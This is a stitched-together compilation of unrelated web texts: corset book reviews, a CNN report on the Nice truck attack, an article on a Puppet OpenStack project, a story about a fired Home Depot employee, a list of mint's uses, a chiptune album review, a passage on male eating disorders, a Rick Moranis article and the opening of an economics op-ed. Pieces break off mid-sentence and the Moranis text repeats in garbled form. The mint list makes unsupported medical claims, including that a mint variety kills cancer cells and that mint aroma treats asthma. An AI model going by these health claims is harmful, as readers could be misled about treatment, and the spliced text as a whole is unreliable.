"It's the debate of the century between two of the top pound for pound politicians in the country -- Mr. Trump, the Republican |
ah Waugh (see below) and Janet Arnold (“Patterns of Fashion” volumes 1-4, 5th floor TT504.6.G7 A76 1985) have provided basic pattern shapes for a lot of these silhouettes, it becomes simple enough to blow these real patterns up to the user’s measurements, then fit for silhouette, thus avoiding a few steps, I think.
The strong feature of this book is its illustration. While the history in the introduction has been superseded, once the author gets to the 1700s he shows examples of real bodices and corsets. The information gets even better once he gets to the late 1900s through the mid-20th century. Then he talks about the history of patternmaking and support undergarments, gives a lot of contemporary images, including ads, instructions for old tools, fashion plates, and photos of actual corsets. The history and images of the 19th and 20th century corset trades are the highlights of this book.
Corsets: Historical Patterns & Techniques, by Jill Salen
5th Floor non-circulating, TT677.S25 2008
This is more the sort of historical reference book I want. As both fashion historian and reenactor, I applaud the range of extant corsets presented here. The book examines twenty-five corsets dated roughly 1750-1917 C.E. Each is shown with a detailed photograph, with a gridded and annotated scale drawing of the corset’s pattern on the opposing page(s).
These are arranged nearly chronologically. The first (c.1750) is an heavily shaped set of stays with solid whale-boning throughout. The most recent corset (c. 1917) presented is a long German corset/girdle rethought throughout using imitation materials because the cotton canvases, silks, elastics, and steel were being routed into the WWI effort.
Two projects are presented in more detail in the back of the book, set of jumps c. 1790 in cotton, and a girl’s white cotton “jean” corset c. 1900. Only these two projects come with step by step instructions, however, and these are not illustrated for any clarity. The one useful how-to piece included is a list of handwork stitches seen on extant corsets, with instructions and definitions (e.g. cording, flossing). I love this book for the images and graphs, but I would go elsewhere for construction instructions.
The Corsetmaking Revolution, by Cathy Hay
5th Floor GT2075.H39 2009
http://fit.sunyconnect.suny.edu:4690/F?func=direct&doc_number=000141971
This how-to book on corset construction comes late to the dialog about best practices. The author is a costumer working in England, who specializes in custom historic-reproduction and bridal clothes. In addition, the author has also taught math, and this shows.
This book puts forth a drafting technique that teaches the untrained user how to calculate the correct size and shape of her corset’s pattern pieces. The calculations are pretty basic, but a background or understanding of basic patternmaking will help the user a lot.
If the user is of a technical bent, good with numbers and numerous measurements, this could be a useful system. If you are like me, and work best with a sense of the 3-D shapes, this is not the technique for you. I would recommend some of the sites and tutorials I’ve listed in the first review above.
Denise, however, prefers the step-by-step math calculations, and thought the rest of the book, which contained such details as putting in lacing tape and setting grommets, useful, but a bit muddled. Regardless, both of us found the author’s writing style too wordy and self-congratulatory. Unfortunately her casual and excited writing style seems odd in an instruction manual. Note that this manual can be downloaded both from the url in Stylecat, listed above, and from the Foundations Revealed website I’ve listed here. Despite her enthusiasm for working with other costumers, this book and her blog are clear attempts to monetize the interest in her skill set.
http://www.foundationsrevealed.com/
http://www.foundationsrevealed.com/free/68-the-new-corset-drafting-masterclass
http://yourwardrobeunlockd.com/
http://thepeacockdress.com/
And now the books that aren’t so much about making corsets, but great for research images:
Foundations of Fashion: The Symington Collection, Corsetry from 1856 to the Present Day, by Christopher Page
5th Floor, Main stacks GT 2075.P345 1981
This book is not how-to instructions. Instead, it is a combination company history, collection catalog, and factory behind-the-scenes for the R. & W.H. Symington & Co. This family-owned company in a small English town (Market Harborough, Leicestershire) began producing handmade corsets sometime in the 1830s. In 1856, the company produced the first machine-made corset commercially available. They continued to produce support undergarments well into the 1960s.
Produced by the Leicestershire Museums in 1981, this book is a well researched company history. Despite being black and white, the book presents the wonderful range of materials gathered by the Symington company, either as archive or as research of the competition.
Consequently, this book illustrates the history of the 19th-century corset and developments in women’s lingerie of the 20th century in terrific detail and from an inside perspective. Anyone interested in either would find this book useful.
It’s also fun to note that the corsets depicted in this book show up in other books we’ve looked at as well. E.g. The red and black corset on the cover of Jill Salen’s book, discussed above, is from this collection.
Support and Seduction: The History of Corsets and Bras, by Beatrice Fontanel
5th Floor Main Stacks GT 2075.F3613 1997
This is one of those books that’s designed more to grace the enthusiast’s coffee table than as a source of serious scholarly research. It is much better researched than that implies, although none of it footnoted. But, not surprisingly, the history within is more detailed as the reader gets closer to the current day.
This book’s strength is the wealth of pretty images that fill its pages. Some of them are a bit cheesy, like the colored images of corset busks surrounding the miscellaneous engraved gentleman pictured below. But why this gentleman, clothed as of the late 16th century? Especially when the busks surrounding him are nearly all 17th and 18th century? This is the kind of intellectual sloppiness that makes it hard to take other historical details in the text seriously.
This is frustrating, because the author has given us some tantalizing historical tidbits, such as the mamillare and fascia, described as two Roman breast-support devices. But a few pages later, she uses a plate by 19th-century fashion historian Racinet (whose work has been improved upon immeasurably since) instead of a 15th-century original image.
Much as I love this book for the gorgeous, if confusing images, I always worry when these kinds of books come out. Students will quote them and continue spreading the misinformation with the good research, and this is how certain myths never die.
Corsets: A Visual History, compiled by R.L. Shep
5th Floor Main Stacks, GT 2075.S54
The author has compiled a comprehensive review of corset advertising from the 19th century from a few images of 1803-20, and the bulk of the images from the 1860s through the 1930s. While R.L. Shep produces much of his work for a reenacting audience, this book also provides a glimpse into the early marketing of women’s undergarments.
Most of the images in this title were pulled from newspaper ads for department store wares, and regular ad spots in Godey’s Lady’s Book and early mail order catalogs. Some of the images are from manufacturer’s trade cards, and others depict the heyday of American department stores, such as Wanamaker’s, Gimbel’s, B. Altman’s, Stern Brothers’, BonTon stores.
Certainly this book serves the author’s intended audience by providing a huge range of image-based research on ladies’ undergarments. The student of costuming or fashion studies can easily see proscribed changes to women’s fashionable shape in a year-by-year progression.
Just enough detail is visible in these ads to get a sense of the corsets’ seaming, materials, and silhouette. But this book also offers a window into the development of the advertising world as it attempts to define the female customer base. It also offers a glimpse of the path between the 19th century’s passion for whalebone, its decline in the 20th, and the development of the current lingerie business.
Fetish Fashion: Undressing the Corset, by Larry Utley
5th Floor Main Stacks, GT 2075.U84 2002
This book is a horse of a different leather. Ok, bad pun, but I thought you, our students and reading public, might be interested in some purely fantasy inspiration. This book is seriously S&M, fetish, and fantasy corsetry. It includes no how-to included at all, but lots of creative re-interterpretations of the corset form. It celebrates the couture corsetry work of it Autumn Adamme, proprietor of Dark Gardens, who describes her passion in the introduction.
The rest of this book is a purely visual trek through Ms. Adamme’s work. We have many books that talk about the 20th century fetishization of the corset shape, and this book shows that in exquisite, full-color detail.
This type of design has become increasingly important, we feel, since the post-modernist sensibilities of the late 1980s, when inner construction was suddenly displayed on the outside. Indeed, Ms. Adamme credits Jean Paul Gaultier’s corset for the Madonna tour in 1990.
Since then the corset-as-outerwear has shown up on many designer runways (seethe review below). In alternative subculture, the rise of steampunk’s twist on Victorian sensibilities, and the new burlesque, with its sly feminist look at female sexuality, continue to encourage the corset as a piece of feminine liberation while acknowledging it’s sexual attractiveness.
http://www.darkgarden.com/
The Corset: A Cultural History, by Valerie Steele
5th floor, GT2075.S71 2004
After many books with gushing introductions about sexy corsetry, the feminine mystique, and the medical damage corsets did women, I felt that this book, by the Museum at FIT’s director, Dr. Valerie Steele, provides the necessary antidote.
While this book does, in fact, have many many gorgeous images of corsets, both recent and historic (the cover image on the left is a Christian LaCroix evening gown from 1997), Dr. Steele applies historical methodologies and a healthy skepticism to many of the more ridiculous stories going around about corsets and corsetry.
This book, while full of images sumptuous, whimsical, and historical, also includes a serious scholarly examination of the rises and falls of the corset from the 15th through 19th century, it’s cultural significance then and now, and the development of the 21st-century lingerie industry from that of the corset manufacturing of the 19th.
Many statements are footnoted, and the book presents original research evaluating 19th century medical claims about corset-created illnesses and the prurience of tight-lacing. In many ways, this book is the antidote to the sketchy research and irrelevant images of the Fontanel book reviewed above. Here, for example is an image of an 18th century corset in the Museum at FIT’s collection.
The book also takes on the social and anthropological study of the corset’s changing meanings. There is a detailed discussion of the scandalous use of corsets by the Impressionists, set into the sexual context of Parisian courtesans and satirical images of the demi-monde.
Perhaps the most interesting argument the author makes here concerns the fall of the corset, the 20th century’s changing standards of beauty, and the rise of female musculature as a form of internalized corseted form. She details this impulse while also giving a nod to the increasing fetishization of corsetry in alternative lifestyles.
We hope you enjoyed this discussion. Even better, we hope it helped you make better corsets! Till next time, this is Beth and Denise.Nice, France (CNN) French authorities arrested an Albanian couple Sunday in connection with the Nice terror attacks that killed 84 people last week, the Paris prosecutor's office spokeswoman told CNN.
Agnes Thibault Lecuivre, a spokeswoman for the anti-terrorism prosecutor, did not provide details on the couple's connection to the terror attack.
French authorities said six people are in custody in connection with the attacks. Bouhlel's estranged wife was arrested at her apartment Friday and released Sunday morning without charge, her attorney, Jean-Yves Garino, told CNN. Garino said the woman, the mother of Bouhlel's three children, had not been in contact with the attacker since they were in the middle of divorce proceedings.
Bouhlel was shot to death by police after he barreled down the crowded Promenade des Anglais for almost a mile, crushing and hitting people who had gathered to watch fireworks. More than 200 people were injured.
Authorities identified him by fingerprints after his identification card was found in the truck.
ISIS: 'Soldier' behind attack
ISIS' media group, Amaq Agency, said Saturday that an ISIS "soldier" carried out the attack.
In a statement, it said "the person... carried out the operation in response to calls to target nationals of the coalition which is fighting the Islamic State."
Bouhlel hadn't shown up on any anti-terrorist intelligence radar, French Interior Minister Bernard Cazeneuve said.
He had no record of making militant statements and was not known to the intelligence services, the minister said.
"It seems he became radicalized very quickly," Cazeneuve said Saturday, without offering specifics.
Criminal record
Bouhlel, a resident of Nice, was born in Tunisia but had a permit to live and work in France.
He was known to police because of allegations of threats, violence and thefts over the past six years, and he was given a suspended six-month prison sentence this year after being convicted of violence with a weapon, authorities said.
Despite his criminal record, he was not on the radar for any kind of terror threat. The man was "entirely unknown by the intelligence services, whether nationally or locally," French prosecutor François Molins said.
"He had never been the subject of any kind of file or indication of radicalization."
Photos: 'Life just starts all over again': After the truck attack in Nice, France The Promenade des Anglais in Nice, France, is seen the night after a man killed at least 84 people with a truck as they were celebrating Bastille Day. Magnum photographer Alessandra Sanguinetti went to Nice the day after the truck attack. Hide Caption 1 of 12 Photos: 'Life just starts all over again': After the truck attack in Nice, France A man and a child look at a memorial for victims of the attack. Sanguinetti spent time photographing near the Promenade des Anglais, the area where the tragedy unfolded. Hide Caption 2 of 12 Photos: 'Life just starts all over again': After the truck attack in Nice, France People left candles and messages at a memorial site. On one of the pieces of paper, a child drew a truck. Hide Caption 3 of 12 Photos: 'Life just starts all over again': After the truck attack in Nice, France Two young men sit together. As Sanguinetti walked around, she says some people "just wanted to sit in peace." Hide Caption 4 of 12 Photos: 'Life just starts all over again': After the truck attack in Nice, France A street off the Promenade des Anglais. Hide Caption 5 of 12 Photos: 'Life just starts all over again': After the truck attack in Nice, France Sanguinetti says there seemed to be more journalists than residents and tourists along the Promenade des Anglais the night after the attack. Hide Caption 6 of 12 Photos: 'Life just starts all over again': After the truck attack in Nice, France A closed carousel on the Promenade des Anglais. Hide Caption 7 of 12 Photos: 'Life just starts all over again': After the truck attack in Nice, France Policemen patrol the streets. Hide Caption 8 of 12 Photos: 'Life just starts all over again': After the truck attack in Nice, France The beach near where the attack started. Hide Caption 9 of 12 Photos: 'Life just starts all over again': After the truck attack in Nice, France Two people embrace. Near the Promenade des Anglais, Sanguinetti says people were hugging and leaving flowers. Hide Caption 10 of 12 Photos: 'Life just starts all over again': After the truck attack in Nice, France A hotel sign is lit up in the night. Hide Caption 11 of 12 Photos: 'Life just starts all over again': After the truck attack in Nice, France People hold hands as they walk on the Promenade des Anglais. Hide Caption 12 of 12
Before the attack
The attacker sent a photo of himself from among the crowds celebrating Bastille Day shortly before he rammed his truck into them, his brother Jaber Bouhlel told CNN Arabic from his hometown of Msaken, Tunisia.
Mohamed Bouhlel seemed "so happy and there was no sign that he was planning for something bad," his brother said.
The family is not releasing the photo to the media.
Bouhlel's father said his son showed signs of mental health issues -- having had multiple nervous breakdowns and exhibiting volatile behavior, said CNN terrorism analyst Paul Cruickshank.
Threat to France
Cruickshank said "no country in the Western world is threatened more by jihadis and terrorism than France."
"This is a big step back here. They are absolutely exhausted after a year and a half of intense efforts to try and protect this country," he said.
"The painful reality here is that if it wasn't going to be this promenade, it would have been any other promenade."
France had put intense security in place for Euro 2016, the international soccer tournament that just ended. No major attacks occurred during the event.
About 85 people are still hospitalized in the wake of Thursday's attack, with 29 patients in intensive care, said Marisol Touraine, French minister of social affairs and health.
Touraine said 18 patients remain "between life and death," including one child.
Around 500 people in Nice have sought psychological support in the aftermath of the attack, she said.
Meanwhile, Nicolas Leslie, a University of California, Berkeley, student who had been missing after the attacks, is confirmed dead, the school said Sunday, relaying information it had received from the FBI. He is the third American confirmed killed in the Thursday attack. A father and son from Texas also died in the attack.Sometimes a small team needs a do-it-yourself solution rather than a massive implementation involving specialists or other budget-draining, off-the-rack, one-size-fits-all solutions.
Cody Herriges, principal system operations engineer at Puppet, needed a solution to create and manage thousands of virtual machines for a research project.
These developer-minded automation enthusiasts wanted to enable a more effective work environment that reflected their own core values: rapid improvement, user value and collaboration.
“At the end of the day,” says Herriges, "[you need to] be proud of the systems you’re running."
The team wanted to implement a solution that was open source, platform agnostic, and that could be built, not bought.
They turned to OpenStack, an open-source cloud operating system that can run on standardized hardware with a robust user community of thousands of people around the globe that was originally founded by Rackspace and NASA.
Herriges took time at the recent OpenStack Summit in Austin, Texas, to tell the story about his team’s journey to its own DIY implementation of OpenStack.
They named their OpenStack project SLICE, a “backronym” for Self-Service Low Impedance Compute Environment.
“We needed a safe, flexible environment that people could try and experiment with new things,” says Herriges. “It had to be fast, close, and with near-no latency."
Herriges’ team only had one full time person and two floaters. Ultimately, it took 20 months to produce the 4,000 lines of freshly-written automation and 10 community modules, with 37 rebuilt, built, or back-ported.
Issues in DIY implementation
The team faced a common challenge when adopting a new software solution: a lack of knowledge about OpenStack itself.
“We had the tools to automate it and the ability to deploy the entire stack without knowing what was underneath,” says Herriges, “but that really goes against what we believe in.”
Instead, the team took the extra time needed to get up to speed on OpenStack without its built-in automation so that when issues occurred, the team could make intelligent fixes instead of relying on random band-aid approaches.
OpenStack does have some known issues, including an as-yet unfixed SSL bug, which Herriges documented his own team’s fix at herrig.es/os-ssl-issue. Other workarounds the team came across can be found there, as well.
Finally, the team needed to make sure that OpenStack met their needs as a high availability, or HA, application. OpenStack Rally helps the team manage things at a much higher level than ever before, even as Puppet has become an even more integral part of their virtual infrastructure.
“It’s made us all very confident in the platform that we’ve delivered to people,” says Herriges.
Tips for teams implementing OpenStack
For teams considering following in Puppet’s virtual footsteps, Herriges has a number of tips.
First, he says, go for simple; the more complexity, the more points of failure will creep into the project. “You’ve got to remove complexity as much as possible” he says.
Agnosticism is also key — solutions and techniques should be chosen for their ability to solve specific problems, not just because they fit a preconceived understanding of how things “should be” done. The Puppet team chose synthOS over Debian for its package-building system because it made things easier to integrate in the long run, not because of any preference for running enterprise Linux.
“The more dogmatic you are about the implementation details,” he says, “the more complication you’re going to add to the deployment.”
Learn from the ecosystem itself, says Herriges. The team had originally designed an architecture that met all their internal requirements as a highly available and load-balanced stack, but realized that such an approach would cause management headaches for whomever came in after Puppet moved on to another project.
The team decided to reuse assets from their own Puppet website code repository that worked as well as any unique code they could have created to do the same thing, resulting in less of a barrier to long-term management. Using publicly available modules, like MySQL, helps the team remain productive and allows them to rely on other developers in the ecosystem when trouble arrives.
Herriges also urges small teams looking to implement OpenStack to only deploy modules that they actually need.
“Don’t deploy all these different services because you think they might be super cool in the future,” he says.
You can always add in things later. Don’t add in anything that has no value to your specific goals, says Herriges; use only the modules that meet your needs.
An OpenStack implementation team will also need a working knowledge of Python, if not an expert-level understanding and confidence in the packaging system they choose.
“You do not want to be post-patching code after deployment,” says Herriges. It makes version tracking and the upgrade process extremely difficult.
Teams will also need to be able to trace packets and manage dumping, and understand SQL at a relatively comfortable level. This will help with error cleanup and finding issues when they happen.
“Not everything is available via the public API,” says Herriges.
Herriges also recommends teams focus on an active/active HA configuration, which makes the OpenStack implementation much easier to maintain as well as less prone to complete failure. The other option, active/passive, will need more automation to be built as well as manual intervention, possibly in the middle of the night.
Choose mature automation solutions, as well – newer might seem cooler at first, but with this type of implementation, you’re better off with an automation system that is robust and well-documented. This is the one area in which Herriges recommends teams don’t try to roll their own solution.
“Don’t go out and grab the new fancy thing that demos well,” he cautions. “Find a tool that’s proven in the marketplace that’s driving real workloads.”
Finally, use early adopters to slowly roll out OpenStack implementations, based on a deep understanding of OpenStack itself.
Of course, Herriges recommends that teams consider the Puppet OpenStack system, as it comes with all of his team’s successes and solutions. It’s being commercially used by Mirantis and RedHat with a ridiculously robust command line interface (CLI). It’s also being used by large and active clients, including Time Warner Cable, Puppet itself, Hewlett Packard Enterprise (HPE), and many more.
You can catch his 33-minute talk on the Summit video page.
Cover Photo // CC BY NCA 70-year-old veteran lost his Home Depot job in Texas after confronting three shoplifters trying to steal thousands of dollars’ worth of tools from the store.
Jim Tinney said he acted instinctually when he threw a paint roller extension at the feet of one of the three suspects in an effort to stop them from making off with tool sets last month at the Pearland store, KTRK reports.
“In the Army, they train you to do things like that,” Tinney told the station. “I just automatically went like this and threw the stick at their feet.”
The suspects dodged the obstacle and got away.
About two weeks later, Tinney, who thought the incident was behind him, learned that his altruistic actions would cost him his job. Tinney admitted to the station that company representatives were clear during training sessions not to confront suspected shoplifters.
Tinney said he understood the policy, but still thinks the punishment doesn’t fit the crime.
“I think they could have written me up, reprimanded me, but terminate me? That’s pretty strong,” he told the ABC affiliate. “I’m 70 years old. I need to work. I needed that job. I enjoyed working with customers figuring out what they wanted to do. It’s fun.”
Stephen Holmes, a Home Depot spokesman, said the policy is in place to protect employees and customers alike.
“What I can tell you now is that we have a strict policy that only our trained security personnel can pursue and engage shoplifters,” Holmes told the station in a statement. “We’ve had deaths and serious injury over the years, and no amount of merchandise is more important that the safety of our associates and customers.”
Holmes referenced previous incidents during which employees were bitten, stabbed and suffered serious brain damage following encounters with suspected shoplifters.
“In fact, in just the past 24 hours we’ve had two shoplifters pull guns at two different stores at both ends of the country,” Holmes’ statement continued. “So you can see, it’s a very serious safety risk to everyone, even when it doesn’t appear to be.”There are a large variety of benefits and uses for the common garden herb mint, also known as pudina or mentha. This easy to grow plant, is so versatile and easy to grow, you will be amazed at the things you can use it for.
1. Mint leaves are one of the highest herbal sources of anti-oxidants and carotenes, and are therefore used to create herbal teas.
2. Drinking mint tea, aids the digestion process of the body and naturally stabilises both irritable bowel syndrome, and constipation. It has also been attributed to soothe diaphragm irritation, effectively treating hiccups.
3. Drinking mint tea also has strong antimicrobial and antifungal properties, due to its high volume of natural nutrients, vitamins and minerals
4. All mint varieties are rich in carotenes containing approximately one thousand six hundred micrograms within a standard portion. When regularly consumed, mint aids with achieving optimal eye health, whilst reducing dry eyes and sensitivity.
5. Mint leaves can be crushed and used in conjunction with regular toothpaste, to whiten teeth with stronger effect. The pleasant aroma and oxidisation process also reduces bad breath.
6. Menthol is an essential oil which is contained within many varieties of mint. This essential oil is regularly extracted and used in a range of different health, food and cosmetic products.
7. Peppermint, one of the most common varieties is used in many medicines such as inhalers, in order to aid breathing, prevent coughing, hay-fever and reduce mucus during a cold or infection.
8. When mint aroma is inhaled, it also helps asthma. The respiratory passages, and airwaves are opened and calmed to allow for a more stable airflow. This can be reproduced at home, by simply crushing peppermint leaves, and inhaling the aroma and menthol contained within them.
9. Inhaling mint aroma also reduces nausea, and headaches. Peppermint tea works particularly well in this case.
10. Mint leaves can also be used in other aromatherapy products, such as candles, oils, soaps and balms.
11. Oils derived from mint, can be used in conjunction with other essential oils to provide a pleasing, and relaxing aroma in order to reduce insomnia.
12. Mint acts as an antipruritic therefore may also be used as a rub, to provide a cooling sensation to the skin. This effectively desensitises skin irritations from itching, burns, bites and stings.
13. Rosmarinic acid is a dominant anti-oxidant contained within mint and has high anti-inflammatory properties. Mint oil and menthol can be used whilst soaking in the bath to reduce aches, sprains and cramps.
14. The gentle aroma of mint leaves, used in aromatherapy acts as a relaxant, reducing anxiety and stress.
15. A variety of mint named Barbed Skullcap, kills cancer cells by destroying the blood vessels which supply the cancerous tumours.
16. Mint, used in conjunction with salt and water can be used to create a better tasting saline gargle, in order to clear up throat infections.
17. The pennyroyal variety of mint can be used as bug deterrent and is commonly used in spray form to repel ants and flies.
18. Mint leaves and stalks can be tucked inside a pillow, which your pet sleeps on or in their favourite resting place to act as a flea repellent.
19. Mint is a commonly used herb to cook with. It can add wonderful flavour to many dishes, whilst also adding healthy nutrition.
20. When grown in larger quantities, mint acts as a mice and rats deterrent in your garden.
21. There are over eighteen known varieties of mint, and many hybrids. Each has its own unique flavour.
22. The Mint herb / plant grows rapidly, and is usually perennial, returning each year with little maintenance. In order to harvest your own mint for use in cooking, and any of the techniques described above, I would recommend continually removing the leaves from the mint stalks throughout the growing season, as this promotes a bushier mint with more growth. Depending upon the variety, always keep the mint well-trimmed, to prevent it from flowering, which will yield more foliage.
The mint flower itself can also be eaten, and can be a beautiful aromatic garnish as a final touch to any dish.
23. Mint is very refreshing when added to iced drinks. Place mint stalks into a bottle of water in the refrigerator and leave it for at least one hour. The water will then be infused with mint, and can be combined with fresh fruit and vegetables to create a very healthy, yet tasty beverage.
24. Mint sauce can be made, and is a tasty compliment to any roast meal. Please see the link below the video for a short guide on how to make fresh mint sauce.
This information here has been provided for educational purposes only, and therefore is no substitute for informed medical advice or care. Please consult a doctor to seek treatment for any illnesses or medical concerns you may have.
Mint is an excellent source of nutrition and in my opinion a super food. Regular consumption of this herb, in the presence of a healthy lifestyle, can bring fantastic joy. However, love is the most important ingredient in life. If you enjoyed this video, please check out my website www.breakingrealms.com, where I explore a multitude of life enhancing research projects and developments.
Finally I would like to dedicate this article to my late grandmother, Bella who inspired my love of mint from a young age.Hey, everybody! Welcome back to Quick Shots: the album review column in which I break down a handful of new EPs, then give a quick and dirty TL;DR to help you determine if a record is worth your time. This time around, I have two unique albums that are miles apart in terms of style and country of origin. While one is the product of several artists uniting to produce something truly bombastic, the other is a culmination of a single person’s ambition to pay homage to the medium he holds so dearly. So let’s not dilly dally any longer. Sit back, relax, and indulge with me as I dissect work by presented by the world renowned Japanese chiptune & breakbeat label OthermanRecords and Canadian newcomer HOFFMAN_IV.
‘color EP’ by OthermanRecords
[OTMN010] color EP by Various Artists
Founded back in 2009 by othermooon, a breakbeat producer and raver based out of Kanagawa, Japan, OthermanRecords is the culmination of culture intersectionality and cross pollination that is decidedly Japanese in origin but definitely will appeal to the MAGFester in you. Combining othermoon’s love of breakcore, chiptune, and IDM, the offerings from OthermanRecords range from being brutal, face beating offerings in the vein Bloody Fist Records, to surprisingly adorable chiptune that occasionally fucks with your head, a la Bokusatsu Shoujo Koubou (BSK). The result of this culmination of musical cultures is a record label that has produced seventy three albums over the course of 6 years that has published work from artists all over the world, all of whom produce music that you’re just as likely to hear at footwork and juke party in Scotland as you are to hear at a rave during an anime convention. It’s incredibly delicious stuff and, thanks to othermoon choosing to expand his audience by re-uploading the label’s older releases to Bandcamp, I’ve come across an album that I feel embodies the best of what this collective has to offer.
‘color EP’ is the tenth album to have been released by OthermanRecords and was originally released back in January of 2010. While most of the work released prior to this album had been predominantly noise and breakbeat, it’s worth noting that the label’s second album was a nanoloop compilation featuring work by miii, NTDSK (aka Rika Chang), cheapshot, suesett, and east breaks in thousand (ebi1000). This is important to note because while all those artists would become widely respected names in the Japanese and eventually global chiptune communities at large, it’s the latter two artists, along with Ca5, who are the focus of color EP.
Starting things up in playful fashion that’s reminiscent of AWESOMECAT or KymAz, suesett kicks things off with ‘U-Yake walk’in’: a Game Boy track that sounds considerably more LSDJ than their previous work with its heavy kicks, spritely arpeggios, and high pitched melody that dances along some of the nicest GB snares and high hats I’ve heard in a long time. It’s a pleasant track to start the album on, as it conjures memories of the first ChipWIN compilation and my first few months in the scene in which everything was new and magical. That sense of magic is followed up in suave fashion by Ca5, as a dulcet pulsewave melody and a steady flow of breakbeats leads you into the actual crux of what OthermanRecords is really about with ‘evergreen’. This song’s combination of sugary Game Boy harmonies and savory drum work summon forth nostalgia in surprising ways. It successfully melds the joy of summers past spent playing in the park with my younger sister while also being redolent of 2D shmups like Space Megaforce, GeKiOh or Touhou. It’s a satisfying result that’s incredibly pleasing when put on repeat.
That aesthetic, particularly the aspects of ‘evergreen’ that are similar to Touhou, is built upon even further as the album continues with ebi1000’s ‘in the blue’: a song that uses breakbeats in ways that would make Galaxy Wolf blush by allowing them contrast against the subdued melody and contemplative piano work woven throughout this lush, trance-inducing track. It made for one of the most psychedelic experiences I had in quite a while, as I often found myself zoning out intensely while listening to it.
For as delightful as those first three tracks were, the last three tracks on the album are perhaps among the most interesting I’ve partaken in in quite a while. While it’s not uncommon for a record to have remix tracks, what makes ‘color EP’ standout as a unique gem among chiptune I’ve heard as of late is that the latter half of this EP is composed entirely of remixes. Furthermore, all the remixes featured on the album are done by the artists who contributed to the album, making this the equivalent of an auditory game of musical chairs. Ca5 takes on suesett’s playful aria and amps up the arpeggios and breakbeats in such a way that they become almost indistinguishable on his remix of ‘U-Yake walk’in’. ebi1000 brings his jazzy, Jamie Myerson aesthetic to Ca5’s ‘evergreen’ and turns it into another intense trip through consciousness and imagination that makes me feel like I’m fifteen years old and dancing at a rave in Costa Rica. Wrapping things up in charming fashion, suesett takes on ebi1000’s ‘in the blue’ with vocals, high pitched pulsewaves and arps that blend the auditory distinction |
a 2016 study, researchers from Boston Children's Hospital and Harvard Medical School examined symptom patterns of eating disorders among males ages 13 to 26 and found that those with high levels of concern about being super muscular have a higher incidence of binge drinking and drug use in the future; the same is true of guys who engage in binge-eating and purging behaviors.
And yet their families and health care providers may overlook many of these harmful patterns. As a result, "a lot of guys get misdiagnosed and their eating disorders are more entrenched by the time they get to a specialty center [for treatment]," Murray says. "Our whole diagnostic system is set up to be female-centric – we're not asking the right questions to identify males who are struggling with this."
The first step is for family members, friends and health care providers to help identify males who are struggling with body image issues and disordered eating behavior, Field says. "You can't always look at someone and know whether they have an eating disorder because it's not visible; it's often hidden." By opening the discussion, it begins to pave the way for a guy to seek help.
To make it easier for men to get into treatment, experts say the entire subject also needs to be de-stigmatized. In fact, many men with eating disorders feel a double sense of stigma about seeking help for what is largely perceived to be a female problem – and this is a barrier to being diagnosed and treated, according to a 2015 study in The International Journal of Eating Disorders. That's unfortunate because effective one-on-one treatment is available for males, Field notes, and group therapy with just men can be particularly helpful. "The most important step to make," Murray says, "is to step into a clinician's office – the earlier, the better."
How to Stop Emotional EatingAbout Me
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and their Famous KinWhat Ever Happened To Rick Moranis? By Gabe Toro Random Article Blend Ghostbusters, moving on to Walter Hill’s Streets Of Fire, Little Shop Of Horrors, Spaceballs, Parenthood and even his own franchise, Honey I Shrunk The Kids. Ultimately, the roles dried up and Moranis was demeaning himself in a series of sidekick and wimp roles. And ultimately, six years after his wife’s passing, Rick Moranis fled filmmaking entirely, leaving behind an unimpeachable legacy.
While Rick Moranis has popped up sporadically in film and television, he’s mostly stayed home with his kids, enjoying life as a single father. He recently stopped by the podcast Bullseye with Jessie Thorn, and
"Stuff happens to people everyday, and they make adjustments to their lives for all kinds of reasons. There was nothing unusual about what happened or what I did, I think the reason that people were intrigued by the decisions I was making and sometimes seem to have almost admiration for it had less to do with the fact that I was doing what I was doing and more to do with what they thought I was walking away from, as if what I was walking away from had far greater value than anything else that one might have. The decision in my case to become a stay-at-home-Dad, which people do all the time, I guess wouldn’t have meant as much to people if I had had a very simple kind of make-a-living existence and decided I needed to spend more time at home. Nobody would pay attention to it, but because I came from celebrity and fame and what was the peak of a career, that was intriguing to people. To me, it wasn’t that. I didn’t have anything to do with that. It was work, and it was just time to make an adjustment."
The actor also doesn’t seem all that enthused about a third Ghostbusters, though he hasn’t been onscreen since 1996’s Big Bully, an unfortunate Tom Arnold vehicle. An approach to get him to act again would have to be very gracious and cater to his kids: he did offer a voice on the Ghostbusters video game, a break from his usual aversion to the spotlight. Otherwise, he seems happily retired. "I’m comfortable with where I live. There’s certain places I’m not interested in being. I’m not interested in doing anything I’ve done in the past … I have no idea. It’s not something I’ve given any thought to at all."
Whatever the case, we’re not going to see him in any Ghostbusters or Spaceballs follow-ups any time soon (never mind a Honey I Shrunk The Kids
Bless Rick Moranis. The prolific comedian-actor had an incredible run in the 80’s, moving from SCTV to, moving on to Walter Hill’sand even his own franchise,. Ultimately, the roles dried up and Moranis was demeaning himself in a series of sidekick and wimp roles. And ultimately, six years after his wife’s passing, Rick Moranis fled filmmaking entirely, leaving behind an unimpeachable legacy.While Rick Moranis has popped up sporadically in film and television, he’s mostly stayed home with his kids, enjoying life as a single father. He recently stopped by the podcast Bullseye with Jessie Thorn, and Uproxx collected the most notable portions. And his reasons from avoiding the limelight seem modest, respectable, believable.The actor also doesn’t seem all that enthused about a third, though he hasn’t been onscreen since 1996’s, an unfortunate Tom Arnold vehicle. An approach to get him to act again would have to be very gracious and cater to his kids: he did offer a voice on thevideo game, a break from his usual aversion to the spotlight. Otherwise, he seems happily retired.Whatever the case, we’re not going to see him in anyorfollow-ups any time soon (never mind a relaunch ), though it’s not like he hasn’t kept busy. Along with the endeavors mentioned in the podcast, he’s been a Grammy-nominated musician, with two albums to his name. Listen to Rick Moranis riff on his own homebody lifestyle and Willie Nelson below. Blended From Around The Web Facebook
Back to topThe AIG building in NYC, circa 2008 (AP Photo/Mark Lennihan, File)
Jared Bernstein, a former chief economist to Vice President Joe Biden, is a senior fellow at the Center on Budget and Policy Priorities and author of 'The Reconnection Agenda: Reuniting Growth and Prosperity'.
As an economist who’s mixed it up in the D.C. hurly-burly for decades by now, I’m pretty inured to the foolishness you read on a daily basis. So when something tweaks my outrage sensors, I tend to perk up and pay attention. What’s gnawing at me is this throwaway line in an editorial from the Economist about the very real problem of slower macroeconomic growth. In reference to an alleged spate of “anticompetitive regulations,” the magazine labeled President Obama “…the least business-friendly president for decades.”
It’s a silly, thoughtless thing to write, with little substantiation in the piece beyond red-meat talking points about “the endless sprawl of job-destroying regulations,” a line that makes sense at a Tea Party party, not a supposed piece of economic analysis.
